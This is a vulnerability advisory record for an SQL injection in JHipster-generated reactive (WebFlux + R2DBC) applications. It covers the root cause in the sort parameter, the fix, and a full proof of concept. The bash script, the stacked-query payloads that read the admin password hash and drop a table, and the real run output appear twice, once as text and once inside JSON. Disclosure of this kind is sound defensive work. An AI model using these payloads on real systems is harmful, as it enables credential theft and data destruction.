BREW-JHIPSTER-CVE-2026-107375 (GHSA-R223-96JV-Q533)

Vulnerability from osv_homebrew – Published: 2026-10-08 20:22 – Updated: 2026-10-08 20:22 – Source website
VLAI
Summary
JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
Details

SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications

  • Product: jhipster/generator-jhipster (npm package generator-jhipster)
  • Affected versions: v7.0.0 through v9.2.0
  • Component: generated reactive-application code, template EntityManager_reactive.java.ejs
  • Report date: 2026-08-29

1. Summary

Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.

A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhi_user password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).

The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.

2. Root Cause

The generator template generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:

private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
    List<OrderByField> fields = new ArrayList<>();
    for (Sort.Order order : sortToUse) {
        String propertyName = order.getProperty();   // attacker controlled (?sort=...)
        OrderByField orderByField = !propertyName.contains(".")
            ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
            : createOrderByField(propertyName);
        fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
    }
    return fields;
}

The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:

SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0

3. Verification

A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.

Step H2 (dev default) PostgreSQL 16 (prod default)
Error probe sort=name%27 500; SQL echoed with raw ' in ORDER BY e_name' 500; r2dbc-postgresql parse error echoing full SQL
Exfiltrate admin hash via ;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);-- HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC HTTP 200; same hash read back
;DROP TABLE product;-- HTTP 200; table gone, subsequent list → 500 HTTP 200; table gone, subsequent list → 500

All payloads executed with a token carrying only ROLE_USER. No other vulnerability or privileged account is required.

4. Impact

CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhi_user password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.

5. Fix Recommendation

In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.


Appendix

A. Environment setup

# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version   # openjdk 21.x
node --version  # v20+

# 1. Clone the generator 
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag>          # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund     # ~778 packages
npm link                             # makes `jhipster` available
jhipster --version                   # expected: 9.2.0

# 2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
  "applicationType": "monolith", "baseName": "pocwebflux",
  "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
  "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
  "reactive": true, "skipClient": true, "buildTool": "maven",
  "enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force                    # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force

# Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable"          src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable"           src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java

# 3a. Run on H2 (default dev database)
./mvnw -DskipTests package                        # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
  --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh

# 3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
  -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package                 # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
  --spring.profiles.active=prod --server.port=18081 \
  --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
  --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
  --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
  --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \
  --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# seed two products via the API (prod has no sample data), then run poc.sh:
BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16

B. PoC script

#!/usr/bin/env bash
# Usage: BASE_URL=http://host:port ./poc.sh   (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"

if [ -z "$JWT" ]; then
  JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
    -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
    | python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"

echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w "  injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
  | python3 -c "import sys,json;[print('   id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w "  injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true

C. Real output (H2 run, 2026-08-29, full poc.sh execution)

== Target: http://127.0.0.1:18080 ==
== 1) Obtain a low-privileged token (user/user) ==
== 2) Baseline: benign paginated read (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]

== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==
status: 500
detail: Syntax error in SQL statement "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price
FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]

== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==
  injection request HTTP 200
  Read back - first product 'name' now equals the admin bcrypt hash:
   id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
   id=2 name=notwithstanding

== 5) Arbitrary SQL: DROP TABLE product (availability) ==
  injection request HTTP 200
  After injection, listing products again:
   status: 500
   detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]

== Done. The database has been modified / a table dropped by injected SQL. ==

evidence-01-h2

D. Real output (PostgreSQL 16 run )

== 3) Error probe: sort=name' ==
status: 500
detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e
ORDER BY e_name' ASC LIMIT 20 OFFSET 0

== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==
  injection request HTTP 200
   id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
   id=1501 name=beta widget

== 5) DROP TABLE product ==
  injection request HTTP 200   ->  subsequent list: status 500 "Failure during data access"

evidence-02-postgresql


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "9.4.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jhipster",
        "purl": "pkg:brew/jhipster"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "9.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/generator-jhipster@9.4.0",
        "name": "generator-jhipster",
        "strategy": "registry",
        "subject_version": "9.4.0"
      }
    ]
  },
  "details": "# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/\u003centity\u003e?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240\u2013253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection\u003c? extends OrderByField\u003e createOrderByFields(Table table, Sort sortToUse) {\n    List\u003cOrderByField\u003e fields = new ArrayList\u003c\u003e();\n    for (Sort.Order order : sortToUse) {\n        String propertyName = order.getProperty();   // attacker controlled (?sort=...)\n        OrderByField orderByField = !propertyName.contains(\".\")\n            ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n            : createOrderByField(propertyName);\n        fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n    }\n    return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step                                                                                             | H2 (dev default)                                                                        | PostgreSQL 16 (prod default)                       |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27`                                                                       | 500; SQL echoed with raw `\u0027` in `ORDER BY e_name\u0027`                                      | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back                      |\n| `;DROP TABLE product;--`                                                                         | HTTP 200; table gone, subsequent list \u2192 500                                             | HTTP 200; table gone, subsequent list \u2192 500        |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity\u0027s persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node \u003e= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version   # openjdk 21.x\nnode --version  # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout \u003caffected-tag\u003e          # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund     # ~778 packages\nnpm link                             # makes `jhipster` available\njhipster --version                   # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux \u0026\u0026 cd /tmp/pocwebflux\ncat \u003e .yo-rc.json \u003c\u003c\u0027EOF\u0027\n{ \"generator-jhipster\": {\n  \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n  \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n  \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n  \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n  \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat \u003e product.jdl \u003c\u003c\u0027EOF\u0027\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force                    # -\u003e \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\"          src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\"           src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package                        # -\u003e BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n  --spring.profiles.active=dev --server.port=18080 \u003e app-dev.log 2\u003e\u00261 \u003c /dev/null \u0026\ncurl -s http://127.0.0.1:18080/management/health # -\u003e {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash \u003cpath-to\u003e/poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n  -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package                 # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n  --spring.profiles.active=prod --server.port=18081 \\\n  --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n  --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n  --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n  --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n  --jhipster.security.authentication.jwt.base64-secret=$SECRET \u003e app-prod.log 2\u003e\u00261 \u003c /dev/null \u0026\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash \u003cpath-to\u003e/poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh   (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n  JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n    | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027id_token\u0027])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name\u0027 ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n  | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))\u0027 || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \"  injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" \\\n  | python3 -c \"import sys,json;[print(\u0027   id=%s name=%s\u0027%(p[\u0027id\u0027],p[\u0027name\u0027])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \"  injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n  | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])\u0027 || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name\u0027 -\u003e raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]\u0027 ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name\u0027 ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n  injection request HTTP 200\n  Read back - first product \u0027name\u0027 now equals the admin bcrypt hash:\n   id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n   id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n  injection request HTTP 200\n  After injection, listing products again:\n   status: 500\n   detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\u003cimg width=\"1280\" height=\"1519\" alt=\"evidence-01-h2\" src=\"https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77\" /\u003e\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name\u0027 ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name\u0027 ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n  injection request HTTP 200\n   id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n   id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n  injection request HTTP 200   -\u003e  subsequent list: status 500 \"Failure during data access\"\n```\n\u003cimg width=\"1280\" height=\"891\" alt=\"evidence-02-postgresql\" src=\"https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142\" /\u003e",
  "id": "BREW-jhipster-CVE-2026-107375",
  "modified": "2026-10-08T20:22:50Z",
  "published": "2026-10-08T20:22:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhipster/generator-jhipster"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort",
  "upstream": [
    "GHSA-r223-96jv-q533",
    "CVE-2026-107375"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…